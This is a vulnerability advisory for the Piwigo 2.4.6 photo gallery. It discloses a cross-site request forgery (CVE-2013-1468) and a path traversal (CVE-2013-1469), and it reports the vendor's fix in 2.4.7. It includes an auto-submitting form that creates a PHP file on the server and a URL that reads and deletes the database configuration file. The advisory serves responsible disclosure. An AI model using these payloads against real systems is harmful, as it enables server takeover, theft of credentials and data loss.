Piwigo 2.4.6 Cross Site Request Forgery / Traversal

`Advisory ID: HTB23144  
Product: Piwigo  
Vendor: Piwigo project  
Vulnerable Version(s): 2.4.6 and probably prior  
Tested Version: 2.4.6  
Vendor Notification: February 6, 2013   
Vendor Patch: February 19, 2013   
Public Disclosure: February 27, 2013   
Vulnerability Type: Cross-Site Request Forgery [CWE-352], Path Traversal [CWE-22]  
CVE References: CVE-2013-1468, CVE-2013-1469  
Risk Level: High   
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 4 (AV:N/AC:H/Au:N/C:P/I:N/A:P)  
Solution Status: Fixed by Vendor  
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )   
  
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Advisory Details:  
  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.  
  
  
1) Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468  
  
The vulnerability exists due to insufficient verification of the HTTP request origin in "/admin.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.  
  
The following PoC (Proof of Concept) code creates a file "file.php" containing "phpinfo();", which can be later accessed via the http://[host]/file.php URL:  
  
  
<form action="http://[host]/admin.php?page=plugin-LocalFilesEditor" method="post" name="f1">  
<input type="hidden" name='edited_file' value='file.php'>  
<input type="hidden" name='text' value=' phpinfo(); '>  
<input type="hidden" name='submit' value='1'>  
<input type="submit" id="btn">  
</form>  
<script>  
document.f1.submit();  
</script>  
  
  
Successful exploitation requires that the "LocalFiles Editor" plugin is enabled (disabled by default).  
  
  
2) Path Traversal in Piwigo: CVE-2013-1469  
  
The vulnerability exists due to insufficient filtration of user-supplied input in "dl" HTTP GET parameter passed to "/install.php" script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:  
  
  
if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))  
{  
$filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];  
...  
echo file_get_contents($filename);  
...  
}  
  
  
However, the vulnerability may be exploited only if PHP 'file_exists' function returns 'true' both for "C:/boot.ini" (or any existing file) and for "C:/any_non_existing_directory/../boot.ini" (in our case the non-existing directory in path is "/pwg_/"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system.   
Important: after being read the file is deleted (if web server has write permission to it).  
  
  
The following PoC (Proof of Concept) code will display and delete the application's configuration file:  
  
http://piwigo/install.php?dl=/../../local/config/database.inc.php  
  
  
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Solution:  
  
Upgrade to Piwigo 2.4.7  
  
More Information:  
http://piwigo.org/releases/2.4.7  
http://piwigo.org/bugs/view.php?id=0002843  
http://piwigo.org/bugs/view.php?id=0002844  
  
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References:  
  
[1] High-Tech Bridge Advisory HTB23144 - https://www.htbridge.com/advisory/HTB23144 - Multiple Vulnerabilities in Piwigo.  
[2] Piwigo - http://piwigo.org/ - Piwigo is a photo gallery software for the web, built by an active community of users and developers.  
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.  
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.   
  
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.  
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